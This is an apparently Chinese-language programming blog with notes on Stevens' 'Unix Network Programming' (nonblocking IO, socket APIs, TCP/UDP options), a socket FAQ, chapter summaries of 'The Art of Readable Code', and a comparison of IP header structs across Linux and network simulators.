2013年2月20日 星期三

unix network programming: chapter 15 nonblocking IO

這一章特別有趣,因為之前node.js對於nonblocking IO有點消化不良,慢慢地體會到,nonblocking IO的思維之後,覺得這樣的設計對於performance真很有幫助,不過控制也是比較困難,這篇文章不會提到書中如何實作,想了解的網友可以直接翻閱書籍

最讓人直接聯想到的nonblocking IO思維是connect()這個function,如果說只有一個連線,個人認為block反而容易理解,nonblocking沒太大用途。但是想像一個應用,比方設計一個由地理位置分析周遭環境的application,你需要透過超過五十頁的網頁內容來整合,這時候connect()會block就變成了一個效能的瓶頸,因為每個網頁都要等前一個網頁的3-way handshake完成才能繼續工作,如果改用nonblocking,幾乎可以在短時間內就發出五十個http請求,這樣就快得多了

但是nonblocking其實也有些副作用
  • nonblocking非常耗用CPU效能
  • nonblocking的程式碼相對難以掌握,可以參考書中,由blocking/select IO(40 lines)膨脹成nonblocking IO的135 lines,可見一斑,
  • 書中沒有提到的流程控制相對困難,可參考node.js的flow control部分,就知道連流程控制也是一大挑戰
另外一個作者書中提到的效能比較也是一個很好的指標
  • block and wait version : 354(s)
  • select and blocking : 12.3 (s)
  • nonblocking IO: 6.9 (s)
  • fork(): 8.7 (s)
  • thread : 8.5 (s)
作者比較推薦簡易的版本fork()或者thread,因為nonblocking在程式碼控制方面比較困難

回過頭來說,其實上面選用除了第一個之外,各有各的不同考量,我給出的建議如下
nonblocking IO: performance
fork(): different task or paralle task
thread: similar task or share data

如果要同時發出大量的連線需求,使用nonblocking是比較好的選擇,如果資源充裕(memory很多/cpu也很強)使用fork()也比較好,因為thread遇到block IO整個process就被block住,其他thread也失去了活動機會,根本沒有幫助

如果說需要share data,基本上挑選thread會比較好,因為thread在share data表現上比IPC容易一點,雖然也有同步資料的問題,但是同步資料在fork()也是無法迴避的。相同的動作,如http server讀取檔案,使用thread就是不錯的選擇

fork()比thread的缺點就是要配置大量的記憶體空間,還有share data要透過IPC,好處是不會被block住。
此外process在kernel上分配CPU time的機會也比thread好,比方說目前server有一個process,programmer寫一個抓取遠端資料分析的程式,為了增進效能,將其一分為二,一個使用fork(),一個使用thread,那麼一個是三個process,一個是兩個process,如果均勻分配,使用fork()方式的將會佔據67%左右的CPU,另外一個使用thread只有33%。當然這是一種武斷的算法,要看使用的CPU/IO乃至於網路的情況而定

所以到底是該用nonblocking IO或者blocking IO?該用thread or fork()?其實都有不同的考量,由於richard stevens已經去世了,新版(3ed)的不知道有沒有討論到asynchronous IO??這或許再看看,在2ed richard stevens只是輕輕帶過這種IO的存在,事實上,網路上已經有開始有使用asynchrounous IO的文章了,應該是值得期待的

2013年2月18日 星期一

unix network programming書摘 -- Part 1

只有記錄我認為容易忽略的地方,文章內不會有TCP/IP的詳細過程,可以參考richard stevens的另外一本大作TCP/IP Illustrate,另外手邊有的unix network programming一書是2ed

Chapter 1
伺服器端
 1: #include "unp.h"
 2: #include <time.h>
 3: 
 4: int
 5: main(int argc, char **argv)
 6: {
 7:  int     listenfd, connfd;
 8:  struct sockaddr_in servaddr;
 9:  char    buff[MAXLINE];
10:  time_t    ticks;
11: 
12:  listenfd = Socket(AF_INET, SOCK_STREAM, 0);
13: 
14:  bzero(&servaddr, sizeof(servaddr));
15:  servaddr.sin_family      = AF_INET;
16:  servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
17:  servaddr.sin_port        = htons(13); /* daytime server */
18: 
19:  Bind(listenfd, (SA *) &servaddr, sizeof(servaddr));
20: 
21:  Listen(listenfd, LISTENQ);
22: 
23:  for ( ; ; ) {
24:   connfd = Accept(listenfd, (SA *) NULL, NULL);
25: 
26:         ticks = time(NULL);
27:         snprintf(buff, sizeof(buff), "%.24s\r\n", ctime(&ticks));
28:         Write(connfd, buff, strlen(buff));
29: 
30:   Close(connfd);
31:  }
32: }

主要流程填寫sockaddr_in結構,socket()=>bind()=>listen()=>accept()=>read()/write()=>close()

客戶端

 1: #include "unp.h"
 2: 
 3: int
 4: main(int argc, char **argv)
 5: {
 6:  int     sockfd, n;
 7:  char    recvline[MAXLINE + 1];
 8:  struct sockaddr_in servaddr;
 9: 
10:  if (argc != 2)
11:   err_quit("usage: a.out <IPaddress>");
12: 
13:  if ( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
14:   err_sys("socket error");
15: 
16:  bzero(&servaddr, sizeof(servaddr));
17:  servaddr.sin_family = AF_INET;
18:  servaddr.sin_port   = htons(13); /* daytime server */
19:  if (inet_pton(AF_INET, argv[1], &servaddr.sin_addr) <= 0)
20:   err_quit("inet_pton error for %s", argv[1]);
21: 
22:  if (connect(sockfd, (SA *) &servaddr, sizeof(servaddr)) < 0)
23:   err_sys("connect error");
24: 
25:  while ( (n = read(sockfd, recvline, MAXLINE)) > 0) {
26:   recvline[n] = 0; /* null terminate */
27:   if (fputs(recvline, stdout) == EOF)
28:    err_sys("fputs error");
29:  }
30:  if (n < 0)
31:   err_sys("read error");
32: 
33:  exit(0);
34: }
流程為填寫sockaddr_in結構,socket()=>connect()=>read()/write()=>close()

Chapter 2
重要的為TCP以及UDP的特色,以及richard stevens書中那張state diagram,中間牽涉到如何透3-way handshake建立連線,以及何時會斷線,為何TIME_WAIT狀態要等2MSL


  • 個人認為重要的觀念是TCP/UDP為全雙工,也就是系統如何處理這樣的概念,從這裏面衍生出了不少問題
  • TCP使用socket pair的概念來辨識連線,也就是Server IP+Server Port+Client IP+Client Port,因為UDP沒有連線概念的約束(也可以自行實作,但是TCP天生幫programmer處理這些)
  • 同時開始考慮,一台機器可能不只一個網路介面,或者說不只一張網路卡,一個service(如FTP)可以同時在所有卡啟動,只要指定socket結構內為INADDR_ANY即可,如果要綁定數張,就只能一個一個來
  • 另外書中提到kernel緩衝區的可以用SO_SNDBUF/SO_RCVBUF(setsockopt())來調整,TCP因為有window size的關係,照理不應該有buffer用盡的問題,但是UDP卻會,又加上UDP是unreliable,buffer一旦滿了就只會drop,連通知都不會有

Chapter 3
  • 因為unix/linux設計socket不只可以用在ethernet還可以用在domain socket上面(一種IPC),所以網路上用的是sockaddr_in結構但是在connect()/bind()/accpet()...參數用的卻是sockaddr結構(一種所謂generic socket結構),所以在呼叫這些api往往形態要轉型
  • bind()、connect()、sendto()是將資料由user space傳送到kernel space
  • accept()、recvfromgetsockname()、getpeername()則是由kernel space回傳資料到user space
  • byte order的問題,網路上使用的是big-edian,但是intel cpu是little-edian,所以有這問題,通常有四個函數來處理htons()、htonl()、ntohs()、ntohl(),h表示hostn表示networks表示16bits、l表示32bits
  • 新的由IP字串取得address的function為intet_pton()以及反向函數inet_ntop()其中p表示presentation
  • 作者時做了好一些輔助函數,很有參考價值

Chapter 4
重點之一,流程圖,書中逐一解說各個function用途


  • socketaddr_in要轉型的原因如前一章,另外要注意,因為可以合乎各種family,所以在connect()/bind()/accept()除了轉型之外,還需要傳入結構大小的指標
  • 這裡衍生出一個重要的觀念,TCP server一定要bind()嗎?答案是不一定,可以由系統指派,之後在用getsockname()取回sockaddr得知,而client的sockaddr資訊則可以用getsockpeername()取回
  • fork()解決一小部分 socket為了全雙工所面臨的問題,因為程式不能因為系統呼叫而block住


chapter 5
  • 書中提到了系統的問題,也就是signal會干擾正常流程,以及如何避免child process變成zombie的問題,使用waitpid()來解決,wait()因為kernel不queue signal可能還是會產生zombie
  • SIGPIPE有可能是因為網路上遇到RST訊號,這屬於網路問題,但是unix反應到process上變成signal,必須妥善處理才能避免連線的問題

chapter 6
  • 解說了blocking/nonblocking IO跟IO multiplexing、還有signal IO、asynchronous IO
  • select()函數示範了IO multiplexing,這個函數可以簡單的處理網路的IO以及一般的輸入,但是中間呼叫其他system call還是有可能會block整個process,所以要小心
  • select() -- read ready
    • 正常狀況,資料高於低水位,可以透過setsockopt()的SO_RCVLOWAT調整低水位
    • 對方已經關閉連線,會回傳EOF
    • 在完成connected的queue中有可用的socket
    • 有sock error存在,read()回傳-1,利用getsockopt()取得SO_ERROR資料
  • select() -- write ready
    • TCP在socket已經連線的時候可以寫入,或者UDP/TCP寫入資料多於低水位的時候,使用setsockopt()的SO_SNDLOWAT調整
    • 連線端已經關閉寫入,會產生SIGPIPE
    • 網路有sock error存在,write()回傳是-1,利用getsockopt()取得SO_ERROR資料
  • shutdown()函數以及setsockopt()的SO_LINGER可以調整關閉socket時候的動作,必須考慮到網路的封包。
  • close()只是關閉write/read fd並沒有關閉網路連線(或者TCP沒有送出FIN)
Chapter 7
介紹常見的socket options,分成幾個層次,一般socket options、IPv4 options、IPv6 options、ICMP options、TCP options。一般socket options指的是大多與protocol獨立無關,由kernel透過與protocol無關的code設定
我摘要了幾個前面常常碰見的options,有些options大多集中在書本前面,且偏向一般socket options

  • SO_BROADCAST : 廣播
  • SO_ERROR : 網路出錯
  • SO_KEEPALIVE : 兩個小時透過封包確定TCP連線還存活著
  • SO_LINGER : FIN訊號的處理
  • SO_RCVBUF/SO_SNDBUF : 設定TCP/UDP的buffer,TCP不用特意調整,他有window size機制
  • SO_RCVLOWAT/SO_SNDLOWAT : 資料的低水位控制,有關效率以及select()
  • SO_REUSEPORT
  • SO_RESUEADDR : 只要IP不同,特別不用等待2MSL就可以重新bind()
  • TCP_KEEPALIVE : 要開啟這個選項就要同時開啟SO_KEEPALIVE
  • TCP_NODELAY : nagle演算法實作


Chapter 8
UDP介紹,如同TCP一樣,有張流程圖,不過不是一定的

  • 不是一定的理由是,用戶端可以呼叫bind()跟connect(),當然兩者也可以都忽略
  • 書中探討到了UDP失去了TCP特色的問題,比方UDP無法得知連線IP/Name,UDP沒有流量控制,UDP沒有重傳機制
  • UDP因為不做3-way handshake,所以無法確定client/server是透過哪個IP或者介面卡傳輸,兩邊都可以從自己主機上的任一IP或者介面卡回應另一方
  • UDP可以透過IP比對,或者DNS比對(多個IP對應到單一domain name),來驗證資料來源
  • UDP可以透過前一點機制與Timeout設定來確定封包有沒有送達
  • UDP可以透過SO_RCVBUF改善流量問題
  • UDP的好處之一,可以透過一個client同時對多個server提出要求,但是會引發一個問題是ICMP的訊息將是非同步產生
  • 其他可以參考我之前寫的socket FAQ

2013年2月17日 星期日

socket API FAQ

我整理一些比較常見的疑問點
Q. TCP server是否一定要呼叫bind()?
A. 不一定,如果不呼叫bind(),系統會自動配置,後面再由getsockname()取得資訊

Q. bind()是甚麼意思?
A. 表示將protocol, IP, port number綁訂在一起,某種程度也是指定介面卡(思考有多張網路卡以及每張網路卡只有單一IP)

Q. UDP的客戶端不需要呼叫,也不可以呼叫bind()?
A. 不是,如前面所說,UDP也可以透過bind()指定介面卡(IP)

Q. close()會關閉連線?
A. 不會,close()會馬上返回程式,他只有關閉了read/write的fd,並且將該fd的reference count減一,只有當reference count為0的時候才會開始關閉連線(FIN),但也不是馬上關閉,kernel還是會嘗試將還存在queue的封包送出或者接收依舊在網路的封包,過程可以由setsockopt()的SO_LINGER控制,如果要馬上關閉必且忽略reference count限制可以呼叫shutdown()

Q. connect()只有TCP用得到,UDP必須使用recvfrom()以及sendto()?
A. connect()在UDP內依舊可以使用,只是語意不如TCP會完成3-way handshake,UDP呼叫connect是將sockaddr註冊給kernel,並取得一socket fd

Q. connect()在UDP使用的方式?
A. 如前面一問題,註冊後可取得socket fd,之後就可以用read()/write()函數來操作,同時,因為recvfrom()跟sendto()每次都要將sockaddr向kernel註冊,使用connect()則不用,在大量訊息傳送的時候使用connect()/read()/write()效能會優於使用recvfrom()跟sendto()

2013年2月16日 星期六

The art of readable code摘要 -- 特定題材


testing and readability (測試以及可靠性)
make tests easy to read and maintain (讓測試容易理解及維護)
測試可以讓人勇敢的修改程式碼,所以可以提升維護性

what’s wrong with this test? (測試發生了甚麼事?)
舉例下面的測試,並且慢慢修正

void Test1() {
    vector<ScoredDocument> docs;
    docs.resize(5);
    docs[0].url = "http://example.com";
    docs[0].score = -5.0;
    docs[1].url = "http://example.com";
    docs[1].score = 1;
...

 SortAndFilterDocs(&docs);
    assert(docs.size() == 3);
    assert(docs[0].score == 4);
    assert(docs[1].score == 3.0);
    assert(docs[2].score == 1);
}



making this test more readable (讓測試更具備可讀性)
文章建議將docs[0].property=xxx,包裹成function,命名為類似addDoc()比較有可讀性,更進一步或許可以建立起string to docs的function,方便產生資料

making error messages readable (使錯誤訊息更具備可讀性)
建議assert錯誤的時候可以輸出更有用的訊息

choosing good test inputs (選擇一個恰當的輸入)
建議簡化以及多種的輸入,做到良好的測試

naming test functions (為測試函數命名)
Test1沒有意義,測試命名要有意義

what was wrong with that test? (測試發生了甚麼事?)
回顧前面的問題

test-friendly development (友善的測試開發)
作者同意TDD (Test Driven Development)的基本想法,並且列出了許多有問題的特徵

going too far (想太多)
作者列出三點可能想太多的盲點

  • Sacrificing the readability of your real code, for the sake of enabling tests.
  • Being obsessive about 100% test coverage.
  • Letting testing get in the way of product development.


designing and implementing a “minute/hour counter” (實作 分鐘/小時 計數器)
the problem
defining the class interface
作者做一總結回顧,舉例以及技巧應用

================我的心得================
可以比較依些類似unit test的構想,以及M$談論測試的書籍,會發現測試真的是一個專門的事情,好比光100% coverage,在M$上是"必須"達到的事情,此外agile process有些建議則是不應該花太多精神在"照顧"test,test應該保持直觀、快速開發,比方說將docs[0].property=xxx包裝成為函數,可能就不大受歡迎,因為可能引入更多的bug,又要花更多時間去維護test,頗有得不償失的味道

The art of readable code摘要 -- 重整程式碼


extracting unrelated subproblems (分解問題)
aggressive是一個重要精神,讓functions可以組裝
introductory example: findClosestLocation() (範例)
將某些codes blocks依照他們工作的屬性獨立出來,並且賦予一個高階的function name,可以增加可讀性(refactoring: extra method)

pure utility code (純粹工具程式)
將一些常用的程式整合成一常見的function

other general-purpose code
同上,作者舉例javascript上一個format ajax response的function

create a lot of general-purpose code
project-specific functionality
開發工具functions

simplifying an existing interface (簡化已經存在的介面)
符合agile的open/close精神,減少不必要的接觸,就可以減少犯錯

reshaping an interface to your needs (從新修整介面成為你需要的模式)
refactoring(?)

taking things too far (不要考慮太多)
不要過分分割

one task at a time (一次只處理一件事情)
tasks can be small (分割工作)
將工作分割以及簡化成為一個小步驟

extracting values from an object (從分解數值看問題)
這部份建議看原著,有點類似refactoring
作者舉例javascript一個類似住址的結構變數假設就是addr,裡面有town, city, state, country,然而有一處理函數需要回傳[town|city|state], country,前三者選擇一個,優先權是town>city>state,直覺的寫法就是一串提取addr[town]...然後if ...,作者認為這樣子不大好,最好一次將次個結構提取出來,跟著做一串判斷
另一解法方式是類似如此

if (country === "USA") {
    first_half = town || city || "Middle-of-Nowhere";
    second_half = state || "USA";
} else {
    first_half = town || city || state || "Middle-of-Nowhere";
    second_half = country || "Planet Earth";
}
return first_half + ", " + second_half;
但作者提到這是熟悉javascript的方式

a larger example

turning thoughts into code (精煉你的想法)
describing logic clearly (清楚描述你的logic)
作者舉例之前Simplifying Loops and Logic的應用,顯示if~else需要簡化

knowing your libraries helps (讓你的函式庫有用)
書中描述一jquery範例實作網頁上tooltip顯示,一開始程式碼使用index跟slice()作為解析,更改的程式碼意圖表示用更抽象(藉由jquery)與一致的方式顯示tooltip。加上註解,這樣可以提高程式碼resue的機率

applying this method to larger problems (分割與處理)
作者提供了一個python處理transaction的方式,但是如果以直觀的方式寫code會出現很凌亂,書中把相似的片段加以集合以及問題加以分割

writing less code (精簡程式碼)
don’t bother implementing that feature—you won’t need it (不要實作你不需要的特色)
不要過分design

question and break down your requirements (處理你的需求)
不斷更新、改進需求

keeping your codebase small (保持程式碼的精簡)
愈少的程式碼愈好處理,必要時移除不必要的程式碼

be familiar with the libraries around you (工欲善其事,必先利其器)
花十五分鐘好好讀讀你用到的library

example: using unix tools instead of coding

===============我的感想===============
這裡提到的技巧都很像refactoring以及約耳趣談軟體內提到的,重複改善軟體(約耳並不鼓勵丟棄code),透過種種的精鍊,可以完成更好的code,除非本來的code真的一無可取

code改進好比改寫論文,必須要更加精簡,過程中就不斷地提升設計以用法,讓他們更精簡、更泛用,然則refactoring比較介於design與code之間,這本書則比較介於語法語code之間

此外很多程式設計師的意見並不一致,比方說這裡鼓勵使用人家的library,但是約耳點出,有時library也是要付出代價的,尤其是library往往也有他的bug,還有自己是否能控制library(指能夠理解並且改寫)。事實上library引用有時的確是很麻煩,好比tomcat最常遇到就是升級的時候一堆library需要升級的麻煩,之前專案的一堆程式碼是否需要改寫?此時問題已提升到configure management的範疇

The art of readable code摘要 -- 簡化迴圈與邏輯


making control flow easy to read (使得流程容易理解)
the order of arguments in conditionals

the order of if/else blocks

the ?: conditional expression (a.k.a. “ternary operator”)
建議不要使用,易懂比省空間重要得多

avoid do/while loops (避免使用避免使用do/while)
把condition放在前面比較好

returning early from a function (儘早回傳value)

the infamous goto (惡名昭彰的goto)
在linux kernel內有不少goto,但是他們使用goto通常是跳到"結尾",並不是當作插入流程控制

minimize nesting (減少loop nesting)
可以簡潔流程
是否你新增的程式碼夠清楚明白嗎?不要因為增加簡單處理而增加很多的理解程式是複雜度

can you follow the flow of execution? (你能夠理解流程嗎?)
一些高階的手法,有其必要的代價,如果可以的話,使用簡單的模式,避免使用他們


  • Programming construct=>How high-level program flow gets obscured
  • threading=>It’s unclear what code is executed when.
  • signal/interrupt=>handlers Certain code might be executed at any time.
  • exceptions=>Execution can bubble up through multiple function calls.
  • function pointers & anonymous functions=>It’s hard to know exactly what code is going to run because that isn’t known at compile time.
  • virtual methods=>object.virtualMethod() might invoke code of an unknown subclass.



breaking down giant expressions (分解太長的表示表示式)
explaining variables (示意變數)
if line.split(':')[0].strip() == "root": ...改為username = line.split(':')[0].strip()
讓一個變數來表達他的用意

summary variables (結論變數)
final boolean user_owns_document = (request.user.id == document.owner_id);
如果條件要反覆使用到,使用一個變數取代他

using de morgan’s laws (使用de morgan定理)
使用de morgan's laws化簡條件判斷式

abusing short-circuit logic (避免濫用"短路"邏輯)
避免誤用短路邏輯,因為短路邏輯會造成其他邏輯部分沒有執行,尤其如果邏輯判斷內的每個method/function都期望他們被執行到

example: wrestling with complicated logic
嘗試為複雜的邏輯找到優雅的表示法

breaking down giant statements  (拆解太長的表示式)
試著使用explaining variables跟summary variables來取代跟化簡太長的表示式

another creative way to simplify expressions (另一種簡化表示式的創意方式)
適當的使用MACRO來以更簡潔的方式簡化expression

variables and readability (變數以及可能性)
eliminating variables (減少變數)
如果使用了explaining variables以及summary variables,要注意是否這個變數有存在的必要,如果他們沒有長期存在的意義,或許直接使用expression會比較好

shrink the scope of your variables (縮小變數的範圍)
儘量減少variable的生命週期以及範圍,如果沒有存在的必要,就不要讓它存在

prefer write-once variables (使用常數)
多使用constant,因為愈少操作,出錯機率愈少

a final example
=============我的心得=============
這部分有很多語言相依的實例,但是有些已經開始牽涉到執行以及正確性了,不是單單可讀性的問題

比方說summary/explaining variables的使用,曾經有人建議不要使用,理由是,每一次使用summary/explaining variables等同增加犯錯的風險,他們堅持使用function call好過用variable傳遞。其實我覺得使用這些變數的確有這樣的風險,但是同時又可以增加效能以及可讀性,作者自己也在eliminating variables提出幾個類似反例例子

所以上面的技巧使用很端看場合決定,沒有一個絕對好的答案,都是有一些trade-off存在

至於有些部分我沒有節錄是因為感覺書上"技巧"實在有點太過over了

IP Header其實很多平台不一樣


IP header format defined in RFC 791:
 
   0                   1                   2                   3   
    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |Version|  IHL  |Type of Service|          Total Length         |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |         Identification        |Flags|      Fragment Offset    |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |  Time to Live |    Protocol   |         Header Checksum       |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                       Source Address                          |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                    Destination Address                        |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                    Options                    |    Padding    |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+


IP header data sturcture in Linux:
/*  /usr/include/netinet/ip.h  */


struct iphdr
  {
#if __BYTE_ORDER == __LITTLE_ENDIAN
    unsigned int ihl:4;
    unsigned int version:4;
#elif __BYTE_ORDER == __BIG_ENDIAN
    unsigned int version:4;
    unsigned int ihl:4;
#else
# error "Please fix <bits/endian.h>"
#endif
    u_int8_t tos;
    u_int16_t tot_len;
    u_int16_t id;
    u_int16_t frag_off;
    u_int8_t ttl;
    u_int8_t protocol;
    u_int16_t check;
    u_int32_t saddr;
    u_int32_t daddr;
    /*The options start here. */
  };


IP header data structure in ns2:
/*    src/ns-<ver>/common/ip.h  */

struct hdr_ip {
    /* common to IPv{4,6} */
    ns_addr_t    src_;
    ns_addr_t    dst_;
    int        ttl_;

    /* Monarch extn */
//     u_int16_t    sport_;
//     u_int16_t    dport_;
   
    /* IPv6 */
    int        fid_;    /* flow id */
    int        prio_;

    static int offset_;
    inline static int& offset() { return offset_; }
    inline static hdr_ip* access(const Packet* p) {
        return (hdr_ip*) p->access(offset_);
    }



IP header data structure in GloMoSim:
typedef struct ip {
    unsigned int ip_v:3,        /* version */
                 ip_hl:5,       /* header length */
                 ip_tos:8,      /* type of service */
                 ip_len:16;     /* total length */
    
    unsigned int ip_id:16,
                 ip_reserved:1,
                 ip_dont_fragment:1,
                 ip_more_fragments:1,
                 ip_fragment_offset:13;
                 
    unsigned char  ip_ttl;      /* time to live */
    unsigned char  ip_p;        /* protocol */
    unsigned short ip_sum;      /* checksum */
    long    ip_src,ip_dst;      /* source and dest address */
    
} IpHeaderType;


IP header data structure in OPNET:

/*  Data structure for fields in the */
/*  ip datagram.     */
typedef struct
    {
 OpT_Packet_Size  orig_len;
 int    ident;
 OpT_Packet_Size  frag_len; /* payload_length for IPv6 */
        /* For IPv6 pkts this does not include the length */
        /* of the fragmentation header.     */
 int    ttl;  /* hop_limit for IPv6  */
 InetT_Address    src_addr;
 InetT_Address    dest_addr;
 int    protocol; /* next_hdr for IPv6  */
 int    tos;  /* traffic_class for IPv6 */
 int    offset;  /* The offset of this fragment */


 /* The following two fields are for ECN - RFC#3168. */
 /* The ECT field is set in the datagram only if the */
 /* transport protocol is capable of handling the */
 /* explicit congestion notification.  The CE bit */
 /* actually contains information about congestion. */ 
 int     CE;
 int     ECT;

 /* The remaining fields are for  */
 /* simulation efficiency, and are  */
 /* not actual fields in a packet. */
 int    frag;
 int    connection_class;
 int    src_internal_addr;
 int    dest_internal_addr;
 IpT_Compression_Method  compression_method;
 OpT_Packet_Size    original_size;
 OpT_uInt8    options_field_set; /* Boolean field, uint8 is being used to conserve memory. */
 OpT_uInt8    tunnel_pkt_at_src; /* Boolean set to true in outer pkt at src of tunnel  */
 double    decompression_delay;
 InetT_Address  next_addr;

 /* The tunnel destination ip address*/
 /* is used to tunnel an ip datagram */
 /* in ip in the case of voluntary   */
 /* tunneling. It is NOT a standard  */
 /* field in ip.                     */
 InetT_Address    tunnel_end_addr;
 InetT_Address    net_addr_tunneled;
 void*    tunnel_ptr;
 double     tunnel_start_time;

 /* VPN Stamp time to hold the time when packet enters a VPN */
 double    vpn_stamp_time;
 
 /* Mobile IP related fields */
 int     icmp_type;
 int     encap_count;

 /* IPv6 extension headers container. */ 
 IpT_Ipv6_Extension_Headers_Data* ipv6_extension_hdr_info_ptr; 

    /* Field to store source stat handle, Number of Hops */
    Stathandle*    src_num_hops_stat_hndl_ptr;

 /* This field tells whether the packet has already been decrypted */
 /* by a HAIPE device and is being "re-recieved" on the same interface */
 Boolean    haipe_processing_performed;
 } IpT_Dgram_Fields;





Linux data structure defines fields in bits while simulators define them in common C data types other than bits. Since Linux, which directly runs on hardware, benefits from bit operation. But simulators cannot. So there's no need to bother fields in bits.

Comparing the structures in ns2 and OPNET, we find OPNET struture much more complex, since it supports many technologies in its IP module, including IP tunneling, MPLS, VPN, etc.

參考資料:
http://my.opera.com/Illidan/blog/ip-header-data-structure

The art of readable code摘要 -- 表面的改善


書本列出了一些撰寫code使得code更有可讀性的例子,其實如果從RUP的角度出發,有些事情會自然發生,就好比學過OOP很容易在設計DB就會自動符合一階正規劃(每個entity需要包含primary key),而不用再正規劃

packing information into names (讓變數名稱包含資訊) 

choose specific words(使用明確的字)
使用有明確的動詞跟名詞,比方使用fetchPage()或者downloadPage()取代getPage()
動詞上可以更明確一些,作者列出了若干個例子

  • send=>deliver, dispatch, announce, distribute, route
  • find=>search, extract, locate, recover
  • start=>launch, create, begin, open
  • make=>create, set up, build, generate, compose, add, new
avoid generic names like tmp and retval(避免太過泛稱的名詞)
避免太泛稱的名詞,比方tmp跟retval。loop裡面常用的i, j, k等等index,如果可以,也建議給予適當的名稱

prefer concrete names over abstract names(避免太過抽象的名稱)
儘量讓變數名稱貼合他使用的場合,比方run_locally表示local test的flag就不太合適,不如使用use_local_database

attaching extra information to a name(增加額外有意義的資訊)
讓名稱包含其他有意義的資訊,比方說string id與string hex_id,後者表明了id由hex組成
又或者包含單位,如int time與int time_seconds,後者表明了時間以秒為單位
又或者html與html_utf8,後者表明了encoding的方式

how long should a name be?(名稱會太長嗎?)
作者認為在有工具的幫助下,打long name不是問題;另外如果有效範圍很短的變數使用簡單的名稱也是可以的,如map m;

use name formatting to convey meaning
格式化變數的清晰程度,利用底線、破折號以及大小寫( _ , - , CapitalsAnd)來區分名稱

names that can’t be misconstrued (正確的建構變數名稱)
example: filter()
filter("year >=200")是include?還是exclude?本身名稱就具備模糊空間,不好

example: clip(text, length)
是剪下length長度的文字呢?還是將文字刪除為最長長度length?如果是後者應該使用Trancate(text,length)比較好

prefer min and max for (inclusive) limits(適當的範圍選擇)
prefer first and last for inclusive ranges
prefer begin and end for inclusive/exclusive ranges
作者建議使用數學上,首尾包含[1,100]表示1~100,儘量不要使用[1,100)表示1~99,然則STL的begin(), end()則是[1,100)

naming booleans(為boolean變數命名)
bool read_passwd不是一個好表示法,因為不知道是否是表示已經讀取或者未讀取,使用如disable_passwd或者use_ssl會是一個比較好的名詞

matching expectations of users(使用者非預期中的成本)
例如getMean()其實隱含了計算成本,可是使用者卻不知道,使用computeMean()或許會更好,或者STL中的size()會隨著容器中元素個數改變,有時會在回圈中引發錯誤
example: evaluating multiple name candidates

aesthetics (美學)
why do aesthetics matter?(為何美學重要?)
readable code的排版是重要的,一個格式很糟糕的code很難讀

rearrange line breaks to be consistent and compact (重新分配換行以及保持註解簡潔跟一致)
直接看圖,上者是好的,下者是不好的



use methods to clean up irregularity (將不規則的不分用方法加以包裹)
將複雜且不規則的方法加以包裹,使動作看起來一致

use column alignment when helpful (行對齊是有幫助的)
直接看圖

pick a meaningful order, and use it consistently (保持有意義的次序)
保持對齊,比方assign屬性的時候

organize declarations into blocks (組織適當宣告)
將相似或者功能相近的宣告集中成一個block

break code into “paragraphs” (將code分段)
將一串code依照功能分段落,並且加上適當的註解

personal style versus consistency (個人風格或者一致)
風格要一致比較重要

knowing what to comment (知道哪些東西該註解)
what not to comment (怎樣的註解不該寫)
不要寫出dummy的資訊,例如這是一個"汽車類別"這樣的註解。也不要直接註解重複註解變數名稱,註解不該用來修飾不好的變數或者方法的名稱,遇到這種狀況,請直接改掉他

recording your thoughts (記錄你的想法)
將思路寫下,也可以記錄你的修改過程,常數(constant)往往也是需要解釋為何這樣設計的

put yourself in the reader’s shoes (多替他人想想)
不要在註解內寫下問句,將可能遇到的問題寫下來。使用高階或者宏觀的方式寫下的註解也有助於新手了結程式碼

final thoughts—getting over writer’s block (克服寫作恐懼)
有些人認為寫好的註解很花時間,對症下藥就是~趕緊寫註解,然後只要避免重複的註解。過程: 想到就寫=>以後重讀(需要改進嗎?) =>改進

making comments precise and compact (保持註解正確跟簡潔) 
keep comments compact (保持註解簡潔)

avoid ambiguous pronouns (避免有疑慮的名詞)

polish sloppy sentences (避免註解過度肥大)

describe function behavior precisely (正確描述function的行為)
例如CountLines(),應該寫明是使用\n當計算單位?還是\n\r當計算單位?還是?

use input/output examples that illustrate corner cases (良好的舉例,顯示輸入輸出該注意的事項)

state the intent of your code (解釋你的意圖)
解釋你的意圖,不是解釋code的運作方式,code的運作應該是code本身顯示的

“named function parameter” comments (定義呼叫參數的意義)
當使用Connect(10,false),並無法得知參數的意義
在python可以寫
Connect(timeout = 10, use_encryption = False)
在C++則可以用
Connect(/* timeout_ms = */ 10, /* use_encryption = */ false);

use information-dense words (使用簡潔且資訊含量豐富的字眼)

=======================個人感想=======================
這個話題可能是永遠的話題,好比說,大家都知道註解很重要,但是絕大多數pogrammer的不寫註解。大多的人知道測試很重要,但是他們寧願相信自己的腦袋跟錯誤處理函數。大多人知道好的readable code風格很重要,但是pogrammer會持續使用自己特有的風格

然則這個沒有絕對的對錯,不過理解那些事情該做,才能夠適當的"客製化",好比現實專案大多不依照軟體工程來執行,但是理解軟體工程絕對對專案執行有幫助。好比如果專案很小,可以將需求使用拍照的方式記錄下來就好,不用在寫複雜的格式。在寫code上面也是一樣,有人推崇的方式,是code應該跟註解一樣,每一個function call本身就應該包含它的意義,不應該再添加太多的註解

